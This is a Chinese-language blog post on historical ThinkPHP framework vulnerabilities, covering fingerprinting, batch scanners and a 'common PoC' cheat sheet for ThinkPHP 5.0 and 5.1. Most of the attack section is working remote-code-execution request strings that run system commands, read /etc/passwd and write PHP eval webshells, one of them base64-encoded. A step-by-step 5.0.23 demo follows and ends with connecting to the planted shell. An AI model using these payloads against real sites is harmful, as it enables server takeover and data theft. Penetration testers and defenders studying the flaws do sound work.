常见历史漏洞之Thinkphp

常见历史漏洞之Thinkphp

一、介绍

Thinkphp是一种开源框架。是一个由国人开发的支持windows/Unix/Linux等服务器环境的轻量级PHP开发框架。很多cms就是基于thinkphp二次开发的,所以thinkphp出问题的话,会影响很多基于thinkphp开发的网站。

二、Thinkphp历史漏洞

  • ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
  • ThinkPHP5_SQL注入漏洞&&敏感信息泄露
  • ThinkPHP3.2.3_最新版update注入漏洞
  • ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
  • ThinkPHP3.2.X_find_select_delete注入
  • ThinkPHP框架5.0.X_sql注入漏洞分析
  • ThinkPHP3.X_order_by注入漏洞
  • ThinkPHP5.X_order_by注入漏洞
  • ThinkPHP5.X_远程代码执行

三、Thinkphp特征发现

  • 默认页面

  • 错误页面

    • 开启了debug模式的错误页面:
- 未开启debug模式的错误页面:

四、批量漏洞检测

  • https://github.com/Lucifer1993/TPscan
bash 复制代码
python TPscan.py


  • https://github.com/theLSA/tp5-getshell
bash 复制代码
python2.7 tp5-getshell.py -u http://192.168.9.148:8080/


  • 说明漏洞存在,可以进行漏洞利用。
  • 使用ThinkphpGUI-1.2-SNAPSHOT进行漏洞扫描和命令执行。
  • 切换版本,进行命令执行。


五、漏洞总结

  • Thinkphp3 漏洞总结:https://y4er.com/post/thinkphp3-vuln/
  • Thinkphp5 RCE总结:https://y4er.com/post/thinkphp5-rce/
  • 5.0.* 常用PoC
bash 复制代码
#执行命令
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

#写入Webshell
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php
  • 5.1.* 常用PoC
bash 复制代码
#执行命令
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=/index/\think\request/cache&key=1|phpinfo

#写入Webshell
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[ccc]);?>" >shell.php
(echo ^<?php @eval($_POST[ccc]);?^>" >shell1.php)


/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]]=whoami
/index.php?s=index/\think\Request/input&filter=phpinfo&data=1
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

六、5.0.23版本案例演示


1、查看。

bash 复制代码
#查看
/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /etc/passwd
bash 复制代码
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

2、写入木马文件。

bash 复制代码
/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval(\$_POST['cmd']);?>" > 1.php

3、写入成功。



4、使用蚁剑进行连接。


相关推荐
ETO_冬5 天前
FastAdmin后端列表导入表格数据
javascript·thinkphp·fastadmin
ETO_冬14 天前
Fastadmin根据链接参数显示不同列表格
javascript·php·thinkphp·fastadmin
新知图书1 个月前
ThinkPHP 8 操作JSON数据
php·thinkphp
新知图书1 个月前
ThinkPHP 8模型与数据的插入、更新、删除
php·thinkphp
新知图书1 个月前
ThinkPHP 8的多对多关联
php·thinkphp
新知图书1 个月前
ThinkPHP 8的一对一关联
php·thinkphp
新知图书1 个月前
PHP与ThinkPHP连接数据库示例
开发语言·数据库·php·thinkphp
胡萝卜的兔2 个月前
thinnkphp5.1和 thinkphp6以及nginx,apache 解决跨域问题
运维·nginx·apache·thinkphp
新知图书2 个月前
ThinkPHP 8开发环境安装
thinkphp·thinkphp8
一一程序2 个月前
Thinkphp 使用workerman消息实现消息推送完整示例
websocket·gateway·thinkphp·workerman